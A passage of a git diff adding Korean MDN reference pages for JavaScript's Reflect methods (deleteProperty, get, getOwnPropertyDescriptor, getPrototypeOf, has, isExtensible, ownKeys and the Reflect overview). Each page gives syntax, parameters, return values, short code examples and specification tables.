+<p><code>target</code>이 {{jsxref("Object")}}가 아니면 {{jsxref("TypeError")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Reflect.deleteProperty</code> 메서드는 객체의 속성을 제거할 수 있습니다. 반환값은 속성의 제거 성공 여부를 나타내는 {{jsxref("Boolean")}}입니다. 비엄격 모드의 <a href="/ko/docs/Web/JavaScript/Reference/Operators/delete"><code>delete</code> 연산자</a>와 거의 동일합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Reflect.deleteProperty()_사용하기"><code>Reflect.deleteProperty()</code> 사용하기</h3>
+
+<pre class="brush: js">var obj = { x: 1, y: 2 };
+Reflect.deleteProperty(obj, 'x'); // true
+obj; // { y: 2 }
+
+var arr = [1, 2, 3, 4, 5];
+Reflect.deleteProperty(arr, '3'); // true
+arr; // [1, 2, 3, , 5]
+
+// 주어진 속성이 존재하지 않으면 true 반환
+Reflect.deleteProperty({}, 'foo'); // true
+
+// 주어진 속성이 설정 불가능하면 false 반환
+Reflect.deleteProperty(Object.freeze({foo: 1}), 'foo'); // false
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-reflect.deleteproperty', 'Reflect.deleteProperty')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect.deleteproperty', 'Reflect.deleteProperty')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Reflect.deleteProperty")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/delete"><code>delete</code> 연산자</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/reflect/get/index.html b/files/ko/web/javascript/reference/global_objects/reflect/get/index.html
new file mode 100644
index 0000000000..2d5007b113
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/reflect/get/index.html
@@ -0,0 +1,100 @@
+---
+title: Reflect.get()
+slug: Web/JavaScript/Reference/Global_Objects/Reflect/get
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Reference
+  - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/get
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Reflect.get()</code></strong> 정적 메서드는 객체의 속성을 가져오는 함수입니다. <code>target[propertyKey]</code>와 비슷합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-get.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Reflect.get(<em>target</em>, <em>propertyKey</em>[, <em>receiver</em>])
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>속성을 가져올 대상 객체.</dd>
+ <dt><code>propertyKey</code></dt>
+ <dd>가져올 속성의 이름.</dd>
+ <dt><code>receiver</code> {{optional_inline}}</dt>
+ <dd>대상 속성이 접근자라면 <code>this</code>의 값으로 사용할 값. {{jsxref("Proxy")}}와 함께 사용하면, 대상을 상속하는 객체를 사용할 수 있습니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>속성의 값.</p>
+
+<h3 id="예외">예외</h3>
+
+<p><code>target</code>이 {{jsxref("Object")}}가 아니면 {{jsxref("TypeError")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Reflect.get</code> 메서드는 객체 속성의 값을 가져올 수 있습니다. <a href="/ko/docs/Web/JavaScript/Reference/Operators/Property_Accessors">속성 접근자</a>의 함수판이라고 할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Reflect.get()_사용하기"><code>Reflect.get()</code> 사용하기</h3>
+
+<pre class="brush: js">// Object
+var obj = { x: 1, y: 2 };
+Reflect.get(obj, 'x'); // 1
+
+// Array
+Reflect.get(['zero', 'one'], 1); // "one"
+
+// handler 매개변수와 Proxy
+var x = {p: 1};
+var obj = new Proxy(x, {
+  get(t, k, r) { return k + 'bar'; }
+});
+Reflect.get(obj, 'foo'); // "foobar"
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-reflect.get', 'Reflect.get')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect.get', 'Reflect.get')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Reflect.get")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/Property_Accessors">속성 접근자</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/reflect/getownpropertydescriptor/index.html b/files/ko/web/javascript/reference/global_objects/reflect/getownpropertydescriptor/index.html
new file mode 100644
index 0000000000..273f5b7011
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/reflect/getownpropertydescriptor/index.html
@@ -0,0 +1,103 @@
+---
+title: Reflect.getOwnPropertyDescriptor()
+slug: Web/JavaScript/Reference/Global_Objects/Reflect/getOwnPropertyDescriptor
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Reference
+  - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/getOwnPropertyDescriptor
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Reflect</strong></code><strong><code>.getOwnPropertyDescriptor()</code></strong> 정적 메서드는 객체에 주어진 속성이 존재하면, 해당 속성의 서술자를 반환합니다. {{jsxref("Object.getOwnPropertyDescriptor()")}}와 유사합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-getownpropertydescriptor.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Reflect.getOwnPropertyDescriptor(<em>target</em>, <em>propertyKey</em>)
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>속성을 탐색할 객체.</dd>
+ <dt><code>propertyKey</code></dt>
+ <dd>자체 속성 서술자를 가져올 속성의 이름.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>대상 속성이 객체에 존재하면, 그 속성의 서술자. 존재하지 않으면 {{jsxref("undefined")}}.</p>
+
+<h3 id="예제">예제</h3>
+
+<p><code>target</code>이 {{jsxref("Object")}}가 아니면 {{jsxref("TypeError")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Reflect.getOwnPropertyDescriptor</code> 메서드는 객체 속성의 서술자를 반환합니다. 만약 존재하지 않는 속성이라면 {{jsxref("undefined")}}를 대신 반환합니다. {{jsxref("Object.getOwnPropertyDescriptor()")}}와의 유일한 차이는 객체가 아닌 대상의 처리 방법입니다.</p>
+
+<h2 id="예제_2">예제</h2>
+
+<h3 id="Reflect.getOwnPropertyDescriptor()_사용하기"><code>Reflect.getOwnPropertyDescriptor()</code> 사용하기</h3>
+
+<pre class="brush: js">Reflect.getOwnPropertyDescriptor({x: 'hello'}, 'x');
+// {value: "hello", writable: true, enumerable: true, configurable: true}
+
+Reflect.getOwnPropertyDescriptor({x: 'hello'}, 'y');
+// undefined
+
+Reflect.getOwnPropertyDescriptor([], 'length');
+// {value: 0, writable: true, enumerable: false, configurable: false}
+</pre>
+
+<h3 id="Object.getOwnPropertyDescriptor()와의_차이점"><code>Object.getOwnPropertyDescriptor()</code>와의 차이점</h3>
+
+<p><code>Reflect.getOwnPropertyDescriptor()</code>의 첫 번째 매개변수가 객체가 아니고 {{glossary("Primitive", "원시값")}}이라면 {{jsxref("TypeError")}}가 발생합니다. 반면 {{jsxref("Object.getOwnPropertyDescriptor()")}}는 같은 상황에서 값을 우선 객체로 변환합니다.</p>
+
+<pre class="brush: js">Reflect.getOwnPropertyDescriptor('foo', 0);
+// TypeError: "foo" is not non-null object
+
+Object.getOwnPropertyDescriptor('foo', 0);
+// { value: "f", writable: false, enumerable: true, configurable: false }</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-reflect.getownpropertydescriptor', 'Reflect.getOwnPropertyDescriptor')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect.getownpropertydescriptor', 'Reflect.getOwnPropertyDescriptor')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Reflect.getOwnPropertyDescriptor")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyDescriptor()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/reflect/getprototypeof/index.html b/files/ko/web/javascript/reference/global_objects/reflect/getprototypeof/index.html
new file mode 100644
index 0000000000..f0d2f2d19c
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/reflect/getprototypeof/index.html
@@ -0,0 +1,104 @@
+---
+title: Reflect.getPrototypeOf()
+slug: Web/JavaScript/Reference/Global_Objects/Reflect/getPrototypeOf
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Reference
+  - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/getPrototypeOf
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Reflect</strong></code><strong><code>.getPrototypeOf()</code></strong> 정적 메서드는 주어진 객체의 프로토타입을 반환합니다. {{jsxref("Object.getPrototypeOf()")}}와 거의 동일합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-getprototypeof.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Reflect.getPrototypeOf(<em>target</em>)
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>프로토타입을 가져올 대상 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 객체의 프로토타입. 상속한 속성이 없으면 {{jsxref("null")}}을 반환합니다.</p>
+
+<h3 id="예외">예외</h3>
+
+<p><code>target</code>이 {{jsxref("Object")}}가 아니면 {{jsxref("TypeError")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Reflect.getPrototypeOf()</code> 메서드는 주어진 객체의 프로토타입(<code>[[Prototype]]</code> 내부 객체의 값 등)을 반환합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Reflect.getPrototypeOf()_사용하기"><code>Reflect.getPrototypeOf()</code> 사용하기</h3>
+
+<pre class="brush: js">Reflect.getPrototypeOf({}); // Object.prototype
+Reflect.getPrototypeOf(Object.prototype); // null
+Reflect.getPrototypeOf(Object.create(null)); // null
+</pre>
+
+<h3 id="Object.getPrototypeOf()와_비교"><code>Object.getPrototypeOf()</code>와 비교</h3>
+
+<pre class="brush: js">// 객체에는 동일한 결과
+Object.getPrototypeOf({});  // Object.prototype
+Reflect.getPrototypeOf({}); // Object.prototype
+
+// ES5에서는 비객체 대상에서 모두 오류
+Object.getPrototypeOf('foo');  // Throws TypeError
+Reflect.getPrototypeOf('foo'); // Throws TypeError
+
+// ES2015에서는 Reflect만 오류, Object는 객체로 변환
+Object.getPrototypeOf('foo');  // String.prototype
+Reflect.getPrototypeOf('foo'); // Throws TypeError
+
+// ES2015 Object 동작을 따라하려면 객체 변환과정 필요
+Reflect.getPrototypeOf(Object('foo')); // String.prototype
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-reflect.getprototypeof', 'Reflect.getPrototypeOf')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect.getprototypeof', 'Reflect.getPrototypeOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Reflect.getPrototypeOf")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li>{{jsxref("Object.getPrototypeOf()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/reflect/has/index.html b/files/ko/web/javascript/reference/global_objects/reflect/has/index.html
new file mode 100644
index 0000000000..363b4d0366
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/reflect/has/index.html
@@ -0,0 +1,97 @@
+---
+title: Reflect.has()
+slug: Web/JavaScript/Reference/Global_Objects/Reflect/has
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Reference
+  - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/has
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Reflect</strong></code><strong><code>.has()</code></strong> 정적 메서드는 <a href="/ko/docs/Web/JavaScript/Reference/Operators/in"><code>in</code> 연산자</a>의 함수판입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-has.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Reflect.has(<em>target</em>, <em>propertyKey</em>)
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>속성을 탐색할 객체.</dd>
+ <dt><code>propertyKey</code></dt>
+ <dd>탐색할 속성의 이름.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>객체가 속성을 가지고 있는지 나타내는 {{jsxref("Boolean")}}.</p>
+
+<h3 id="예외">예외</h3>
+
+<p><code>target</code>이 {{jsxref("Object")}}가 아니면 {{jsxref("TypeError")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Reflect.has()</code> 메서드는 객체에 속성이 존재하는지 판별할 수 있습니다. <a href="/ko/docs/Web/JavaScript/Reference/Operators/in"><code>in</code> 연산자</a>처럼 동작합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Reflect.has()_사용하기"><code>Reflect.has()</code> 사용하기</h3>
+
+<pre class="brush: js">Reflect.has({x: 0}, 'x'); // true
+Reflect.has({x: 0}, 'y'); // false
+
+// 프로토타입 체인에 존재하는 속성도 true 반환
+Reflect.has({x: 0}, 'toString');
+
+// .has() 처리기 메서드를 가진 Proxy
+obj = new Proxy({}, {
+  has(t, k) { return k.startsWith('door'); }
+});
+Reflect.has(obj, 'doorbell'); // true
+Reflect.has(obj, 'dormitory'); // false
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-reflect.has', 'Reflect.has')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect.has', 'Reflect.has')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Reflect.has")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/in"><code>in</code> 연산자</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/reflect/index.html b/files/ko/web/javascript/reference/global_objects/reflect/index.html
new file mode 100644
index 0000000000..728dcd74c3
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/reflect/index.html
@@ -0,0 +1,106 @@
+---
+title: Reflect
+slug: Web/JavaScript/Reference/Global_Objects/Reflect
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Reference
+  - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Reflect</strong></code>는 중간에서 가로챌 수 있는 JavaScript 작업에 대한 메서드를 제공하는 내장 객체입니다. 메서드의 종류는 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler">프록시 처리기</a>와 동일합니다. <code>Reflect</code>는 함수 객체가 아니므로 생성자로 사용할 수 없습니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>다른 대부분의 전역 객체와 다르게, <code>Reflect</code>는 생성자가 아닙니다. 따라서 함수처럼 호출하거나 <a href="/ko/docs/Web/JavaScript/Reference/Operators/new"><code>new</code> 연산자</a>로 인스턴스를 만들 수 없습니다. {{jsxref("Math")}} 객체처럼, <code>Reflect</code>의 모든 속성과 메서드는 정적입니다.</p>
+
+<p><code>Reflect</code> 객체의 정적 메서드 이름은 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler">프록시 처리기 메서드</a>의 이름과 같습니다.</p>
+
+<p>일부 메서드는 {{jsxref("Object")}}에도 존재하는 메서드이지만 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Reflect/Comparing_Reflect_and_Object_methods">약간의 차이</a>가 있습니다.</p>
+
+<h2 id="정적_메서드">정적 메서드</h2>
+
+<dl>
+ <dt>{{jsxref("Reflect.apply()")}}</dt>
+ <dd>대상 함수를 주어진 매개변수로 호출합니다. {{jsxref("Function.prototype.apply()")}}도 참고하세요.</dd>
+ <dt>{{jsxref("Reflect.construct()")}}</dt>
+ <dd>함수로 사용하는 <a href="/ko/docs/Web/JavaScript/Reference/Operators/new"><code>new</code> 연산자</a>입니다. <code>new target(...args)</code>을 호출하는 것과 같습니다. 다른 프로토타입을 지정하는 추가 기능도 가지고 있습니다.</dd>
+ <dt>{{jsxref("Reflect.defineProperty()")}}</dt>
+ <dd>{{jsxref("Object.defineProperty()")}}와 비슷합니다. {{jsxref("Boolean")}}을 반환합니다.</dd>
+ <dt>{{jsxref("Reflect.deleteProperty()")}}</dt>
+ <dd>함수로 사용하는 <a href="/ko/docs/Web/JavaScript/Reference/Operators/delete"><code>delete</code> 연산자</a>입니다. <code>delete target[name]</code>을 호출하는 것과 같습니다.</dd>
+ <dt>{{jsxref("Reflect.get()")}}</dt>
+ <dd>대상 속성의 값을 반환하는 함수입니다.</dd>
+ <dt>{{jsxref("Reflect.getOwnPropertyDescriptor()")}}</dt>
+ <dd>{{jsxref("Object.getOwnPropertyDescriptor()")}}와 비슷합니다. 주어진 속성이 대상 객체에 존재하면, 그 속성의 서술자를 반환합니다. 그렇지 않으면 {{jsxref("undefined")}}를 반환합니다.</dd>
+ <dt>{{jsxref("Reflect.getPrototypeOf()")}}</dt>
+ <dd>{{jsxref("Object.getPrototypeOf()")}}와 같습니다.</dd>
+ <dt>{{jsxref("Reflect.has()")}}</dt>
+ <dd>함수로 사용하는 <a href="/ko/docs/Web/JavaScript/Reference/Operators/in"><code>in</code> 연산자</a>입니다. 자신의, 혹은 상속한 속성이 존재하는지 나타내는 {{jsxref("Boolean")}}을 반환합니다.</dd>
+ <dt>{{jsxref("Reflect.isExtensible()")}}</dt>
+ <dd>{{jsxref("Object.isExtensible()")}}과 같습니다.</dd>
+ <dt>{{jsxref("Reflect.ownKeys()")}}</dt>
+ <dd>대상 객체의 자체 키(상속하지 않은 키) 목록을 배열로 반환합니다.</dd>
+ <dt>{{jsxref("Reflect.preventExtensions()")}}</dt>
+ <dd>{{jsxref("Object.preventExtensions()")}}와 비슷합니다. {{jsxref("Boolean")}}을 반환합니다.</dd>
+ <dt>{{jsxref("Reflect.set()")}}</dt>
+ <dd>속성에 값을 할당하는 함수입니다. 할당 성공 여부를 나타내는 {{jsxref("Boolean")}}을 반환합니다.</dd>
+ <dt>{{jsxref("Reflect.setPrototypeOf()")}}</dt>
+ <dd>객체의 프로토타입을 지정하는 함수입니다. 지정 성공 여부를 나타내는 {{jsxref("Boolean")}}을 반환합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect-object', 'Reflect')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="객체가_특정_속성을_가지고_있는지_검사하기">객체가 특정 속성을 가지고 있는지 검사하기</h3>
+
+<pre class="brush: js notranslate">const duck = {
+  name: 'Maurice',
+  color: 'white',
+  greeting: function() {
+    console.log(`Quaaaack! My name is ${this.name}`);
+  }
+}
+
+Reflect.has(duck, 'color');
+// true
+Reflect.has(duck, 'haircut');
+// false</pre>
+
+<h3 id="객체_자체_키를_반환하기">객체 자체 키를 반환하기</h3>
+
+<pre class="brush: js notranslate">Reflect.ownKeys(duck);
+// [ "name", "color", "greeting" ]</pre>
+
+<h3 id="객체에_새로운_속성_추가하기">객체에 새로운 속성 추가하기</h3>
+
+<pre class="brush: js notranslate">Reflect.set(duck, 'eyes', 'black');
+// returns "true" if successful
+// "duck" now contains the property "eyes: 'black'"</pre>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Reflect")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Proxy")}} 전역 객체.</li>
+ <li>{{jsxref("Proxy.handler", "handler")}} 객체.</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/reflect/isextensible/index.html b/files/ko/web/javascript/reference/global_objects/reflect/isextensible/index.html
new file mode 100644
index 0000000000..68d168eb65
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/reflect/isextensible/index.html
@@ -0,0 +1,111 @@
+---
+title: Reflect.isExtensible()
+slug: Web/JavaScript/Reference/Global_Objects/Reflect/isExtensible
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Reference
+  - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/isExtensible
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><code><strong>Reflect</strong></code><strong><code>.isExtensible()</code></strong> 정적 메서드는 객체의 확장 가능 여부, 즉 속성을 추가할 수 있는지 판별합니다.</span> {{jsxref("Object.isExtensible()")}}과 유사하지만 {{anch("Object.isExtensible()과의 차이", "차이점")}}도 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-isextensible.html", "taller")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Reflect.isExtensible(<em>target</em>)
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>확장 가능 여부를 판별할 대상 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>객체의 확장 가능 여부를 나타내는 {{jsxref("Boolean")}}.</p>
+
+<h3 id="예외">예외</h3>
+
+<p><code>target</code>이 {{jsxref("Object")}}가 아니면 {{jsxref("TypeError")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Reflect.isExtensible()</code> 메서드는 {{jsxref("Object.isExtensible()")}}와 유사하게, 객체에 새로운 속성을 추가할 수 있는지 판별합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Reflect.isExtensible()_사용하기"><code>Reflect.isExtensible()</code> 사용하기</h3>
+
+<p>{{jsxref("Object.isExtensible()")}}도 참고하세요.</p>
+
+<pre class="brush: js">// 새로운 객체는 확장 가능
+var empty = {};
+Reflect.isExtensible(empty); // === true
+
+// ...하지만 바꿀 수 있음
+Reflect.preventExtensions(empty);
+Reflect.isExtensible(empty); // === false
+
+// 봉인한 객체는 확장 불가능함
+var sealed = Object.seal({});
+Reflect.isExtensible(sealed); // === false
+
+// 동결한 객체도 확장 불가능함
+var frozen = Object.freeze({});
+Reflect.isExtensible(frozen); // === false
+</pre>
+
+<h3 id="Object.isExtensible()과의_차이점"><code>Object.isExtensible()</code>과의 차이점</h3>
+
+<p><code>Reflect.isExtensible()</code>은 첫 번째 매개변수가 {{glossary("Primitive", "원시값")}}이면 {{jsxref("TypeError")}}를 던집니다. 반면 {{jsxref("Object.isExtensible()")}}은 우선 객체로 변환을 시도합니다.</p>
+
+<pre class="brush: js">Reflect.isExtensible(1);
+// TypeError: 1 is not an object
+
+Object.isExtensible(1);
+// false
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-reflect.isextensible', 'Reflect.isExtensible')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect.isextensible', 'Reflect.isExtensible')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Reflect.isExtensible")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/reflect/ownkeys/index.html b/files/ko/web/javascript/reference/global_objects/reflect/ownkeys/index.html
new file mode 100644
index 0000000000..41c350ca60
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/reflect/ownkeys/index.html
@@ -0,0 +1,95 @@
+---
+title: Reflect.ownKeys()
+slug: Web/JavaScript/Reference/Global_Objects/Reflect/ownKeys
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Reference
+  - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/ownKeys
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Reflect.ownKeys()</strong></code> 정적 메서드는 대상 객체의 자체 속성 키를 배열로 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-ownkeys.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Reflect.ownKeys(<em>target</em>)
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>자체 키를 가져올 대상 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 객체의 자체 속성 키를 담은 {{jsxref("Array")}}.</p>
+
+<h3 id="예외">예외</h3>
+
+<p><code>target</code>이 {{jsxref("Object")}}가 아니면 {{jsxref("TypeError")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>The <code>Reflect.ownKeys()</code> 메서드는 대상 객체의 자체 속성 키를 배열로 반환합니다. 반환 값은 <code>{{jsxref("Object.getOwnPropertyNames", "Object.getOwnPropertyNames(target)", "", 1)}}.concat({{jsxref("Object.getOwnPropertySymbols", "Object.getOwnPropertySymbols(target)", "", 1)}})</code>와 동일합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Reflect.ownKeys()_사용하기"><code>Reflect.ownKeys()</code> 사용하기</h3>
+
+<pre class="brush: js">Reflect.ownKeys({z: 3, y: 2, x: 1}); // [ "z", "y", "x" ]
+Reflect.ownKeys([]); // ["length"]
+
+var sym = Symbol.for('comet');
+var sym2 = Symbol.for('meteor');
+var obj = {[sym]: 0, 'str': 0, '773': 0, '0': 0,
+           [sym2]: 0, '-1': 0, '8': 0, 'second str': 0};
+Reflect.ownKeys(obj);
+// [ "0", "8", "773", "str", "-1", "second str", Symbol(comet), Symbol(meteor) ]
+// Indexes in numeric order,
+// strings in insertion order,
+// symbols in insertion order
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-reflect.ownkeys', 'Reflect.ownKeys')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
